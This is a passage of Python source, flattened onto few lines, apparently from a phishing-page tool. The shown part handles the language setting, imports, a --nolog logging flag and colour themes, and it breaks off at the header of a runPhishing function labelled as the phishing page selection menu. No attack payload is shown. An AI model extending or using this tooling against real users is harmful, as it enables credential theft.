def checkAndSetLanguage(): language = readConfig().get("Settings", "Language") if language == "en": langEnglish() elif language == "ru": langRussian() elif language == "uk": langUkrainian() else: langEnglish()
from os import system, path from distutils.dir_util import copy_tree from time import sleep import re import json from urllib.request import urlopen from subprocess import check_output, CalledProcessError from sys import stdout, argv, exit from Defs.ThemesManager import colorSelector from Defs.Configurations import readConfig, ifSettingsNotExists from Defs.Languages import * installGetText() languageSelector() ifSettingsNotExists() config = readConfig() logFile = None didBackground = config.get("Settings", "DidBackground") for arg in argv: if arg == "--nolog": # If true - don't log didBackground = False if config.get("Settings", "DidBackground") == "True": logFile = open("log.txt", "w") colorTheme = colorSelector() MAIN0, MAIN1, MAIN2, MAIN3, MAIN4 = colorTheme[0], colorTheme[1], colorTheme[ 2], colorTheme[3], colorTheme[4] def runPhishing(page, customOption): # Phishing pages selection menu